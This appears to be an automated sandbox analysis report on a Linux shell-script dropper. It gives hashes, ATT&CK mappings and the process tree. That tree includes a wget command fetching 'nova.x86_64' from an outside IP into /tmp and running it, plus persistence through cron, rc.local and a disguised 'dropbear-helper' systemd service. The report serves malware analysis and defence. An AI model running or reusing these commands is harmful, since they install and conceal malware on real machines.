b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781

Analysis

max time kernel
1s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
27/05/2026, 16:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh
Size 2KB
Sample260527-twb6jsct2r
SHA256 b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781
MD5 618d44ade6b3de10b5e2de051ff6b89e
SHA1 d9aae21eb9980aa694320654d5f379f7651d39a8
SHA512 40f5af5fda7469b7675fc52d6e71f1e3158d3d9d3e6ece758f62e392b49ce9691b1cd9500da8a4365dd9bffa9b403c4499c14e3050c2648f8079dc54c9b7df6f
TLSH
T16F51FDE2B835D435F98DA439EB9D63987482241F0A18BE14758F783C0B8C94C23FE679
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1532	chmod
1521	chmod
1527	chmod

Deletes itself 1 IoCs

pid	Process
1525	nova.x86_64

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/nova.x86_64	1522	_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.mGCvBE	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/dropbear-helper.service	_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	dropbear	1525	nova.x86_64

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/12/cmdline	pidof
File opened for reading	/proc/25/stat	pidof
File opened for reading	/proc/29/stat	pidof
File opened for reading	/proc/212/cmdline	pidof
File opened for reading	/proc/989/cmdline	pidof
File opened for reading	/proc/1044/stat	pidof
File opened for reading	/proc/1349/stat	pidof
File opened for reading	/proc/115/cmdline	pidof
File opened for reading	/proc/167/stat	pidof
File opened for reading	/proc/1505/cmdline	pidof
File opened for reading	/proc/10/cmdline	pidof
File opened for reading	/proc/23/cmdline	pidof
File opened for reading	/proc/540/cmdline	pidof
File opened for reading	/proc/676/stat	pidof
File opened for reading	/proc/750/cmdline	pidof
File opened for reading	/proc/1193/cmdline	pidof
File opened for reading	/proc/15/cmdline	pidof
File opened for reading	/proc/168/stat	pidof
File opened for reading	/proc/423/cmdline	pidof
File opened for reading	/proc/491/cmdline	pidof
File opened for reading	/proc/507/cmdline	pidof
File opened for reading	/proc/617/cmdline	pidof
File opened for reading	/proc/960/cmdline	pidof
File opened for reading	/proc/1052/cmdline	pidof
File opened for reading	/proc/9/cmdline	pidof
File opened for reading	/proc/20/stat	pidof
File opened for reading	/proc/82/cmdline	pidof
File opened for reading	/proc/178/stat	pidof
File opened for reading	/proc/694/cmdline	pidof
File opened for reading	/proc/994/stat	pidof
File opened for reading	/proc/1048/cmdline	pidof
File opened for reading	/proc/1069/cmdline	pidof
File opened for reading	/proc/21/cmdline	pidof
File opened for reading	/proc/26/cmdline	pidof
File opened for reading	/proc/27/cmdline	pidof
File opened for reading	/proc/181/stat	pidof
File opened for reading	/proc/183/stat	pidof
File opened for reading	/proc/571/cmdline	pidof
File opened for reading	/proc/672/cmdline	pidof
File opened for reading	/proc/1064/stat	pidof
File opened for reading	/proc/35/cmdline	pidof
File opened for reading	/proc/253/stat	pidof
File opened for reading	/proc/1066/stat	pidof
File opened for reading	/proc/1343/stat	pidof
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/517/stat	pidof
File opened for reading	/proc/674/stat	pidof
File opened for reading	/proc/917/stat	pidof
File opened for reading	/proc/1106/stat	pidof
File opened for reading	/proc/1274/stat	pidof
File opened for reading	/proc/1314/stat	pidof
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/5/cmdline	pidof
File opened for reading	/proc/8/stat	pidof
File opened for reading	/proc/12/stat	pidof
File opened for reading	/proc/483/stat	pidof
File opened for reading	/proc/705/cmdline	pidof
File opened for reading	/proc/1008/cmdline	pidof
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/2/cmdline	pidof
File opened for reading	/proc/16/cmdline	pidof
File opened for reading	/proc/24/stat	pidof
File opened for reading	/proc/184/stat	pidof
File opened for reading	/proc/325/stat	pidof

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/nova.x86_64	wget

/tmp/_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh
/tmp/_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh
1⤵
- Executes dropped EXE
- Modifies rc script
- Modifies systemd
PID:1507
- /bin/uname
  uname -m
  2⤵
  PID:1509
- /bin/pidof
  pidof nova.x86_64
  2⤵
  - Reads runtime system information
  PID:1510
- /bin/rm
  rm -f /tmp/nova.x86_64
  2⤵
  PID:1512
- /usr/bin/wget
  wget -q http://176.65.149.142/bins/nova.x86_64 -O /tmp/nova.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1514
- /bin/chmod
  chmod 777 /tmp/nova.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1521
- /tmp/nova.x86_64
  /tmp/nova.x86_64
  2⤵
  - Deletes itself
  - Changes its process name
  PID:1522
- /bin/mkdir
  mkdir -p /var/lib/.nova
  2⤵
  PID:1523
- /bin/cp
  cp /tmp/nova.x86_64 /var/lib/.nova/nova.x86_64
  2⤵
  PID:1524
- /bin/chmod
  chmod 777 /var/lib/.nova/nova.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1527
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1529
- /bin/grep
  grep -v /var/lib/.nova
  2⤵
  PID:1531
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1530
- /bin/chmod
  chmod +x /etc/rc.local
  2⤵
  - File and Directory Permissions Modification
  PID:1532
- /bin/cat
  cat
  2⤵
  PID:1533
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  PID:1534
- /bin/systemctl
  systemctl enable dropbear-helper.service
  2⤵
  PID:1555
- /bin/systemctl
  systemctl start dropbear-helper.service
  2⤵
  - Reads runtime system information
  PID:1576

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 39B
SHA256 6fae331de484abaa0d60171bd8d76411d92a7e78f929c779f66711234ff5604b
MD5 8ead42e85eb8f75728b55aaf608f0c72
SHA1 2e7826d4af5a4a388b3fa8aeda7c50ff7b54331a
SHA512 7461b1062b288a541c3ee08053144012258b9ca0b370f8d29058e5cacdf479a123357b662388c316c41634c4ef7056116ca3cb2b1157463448a13cad55485080
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 46B
SHA256 0730cf4c4fd9232224bd345f2de5f9bec93b88ca0850ce6aa343357a65d5b846
MD5 6b4ee0d0070a266d69c24c628f090f28
SHA1 f10dda5b285950728566470d1387c1fb4e870ab3
SHA512 36496b07c4d2e2280aa43c73b33ba8a813190d434f44f1e52a319c8074833fd07238bd5a494d2d80210e1d313fd4659e67076c9af7c703aac5f9a50c02cb7cfb
MD5 SHA1 SHA512

Submit Download

dropbear-helper.service

Path /etc/systemd/system/dropbear-helper.service
Size 184B
SHA256 dad713dd9d83189eab3e3e89a4d8f25214e8f3425a77568455655d52c71a76d1
MD5 9cf36d52fa100bcf06e1c4d205271290
SHA1 341b6079a4709596166269e69c7d16d9c2ef42c5
SHA512 460f24b539f6eb644f6f79f3854b19b58f5d3a369994e79479d4f44d4689a03205e5fdb669ed6daefe323be0a0037431653d263c52c62d0fa8b01ae82eb76915
TLSH
T1A7C01223563561A09AAF28769F767F44885002404F8EE2741FD11D1604E255A5435A99
MD5 SHA1 SHA512 TLSH

Submit Download

.dropbear.lock

Path /run/.dropbear.lock
Size 5B
SHA256 0e4a9b514fefa0a25a6ccb2ac2f161de94bd08936cceb4770e79ed39192a08bd
MD5 1416c722e9029b09b414d15d134ae6da
SHA1 4fb97cf67a2fa2f6ec42fb7d9d61e064a20ef978
SHA512 ce06c5b7f7d6a1fac8be840faafd57446e1438c9ca65c194f2ea06dd0801fdec4eb46c9a9c0d9b2c7c8d3c8db9fedcc96c3ea40486a3fd9b773ca7f06bcf16de
MD5 SHA1 SHA512

Submit Download

nova.x86_64

Path /tmp/nova.x86_64
Size 1.0MB
SHA256 d1a1570f7b8a1a5c503a30b5cceb41655dc6f02b7ef93dc6cf698d89febfd90a
MD5 561b74702398a2fbe452b189bc87eddd
SHA1 a28105da82517a22825aae174ed0ea61e63927c9
SHA512 b80c25ac0883d51cbbd0ae33219ccd651886528f7866c65af953f616a17714f238fd78e0f066c02776a2c3627852e2da0fc533eb64bf0fa2de232777003a332a
SSDEEP 12288:m+xPw9Hc+mDY1lE1ngB4c35jyHaiJ3RI5k0O/IrmyziIqePFt5k:m+xPw9Hc+mGegB4cJjoJhCPSd8F
TLSH
T154357D5AF2F370FCC067C030435BDB62A839F46511226E7B65C4DA352E66EB01B29F66
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp.mGCvBE

Path /var/spool/cron/crontabs/tmp.mGCvBE
Size 487B
SHA256 13de7c82fe3475f577e6fd751334abefb599a359c5a3ace8689fe79835f1cc5b
MD5 05ab5b9b775cfba112985501d586c6c1
SHA1 2d426d8b572a1d8f1960d6950f001af8b1663092
SHA512 5c5c0a2ef45e6cb9b915c9fa48f84c8789362f37f80c82024c1ae7f52d4c791c929da854bb9b8e13a9ef81dac813b36c3c637b48e1c2adb96a9a4f1ec9d94d64
TLSH
T1C1F0E9B5573D792033CDA958B72D902CBD814065CCAA6E00DCCE3C34015F20D3A34B50
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads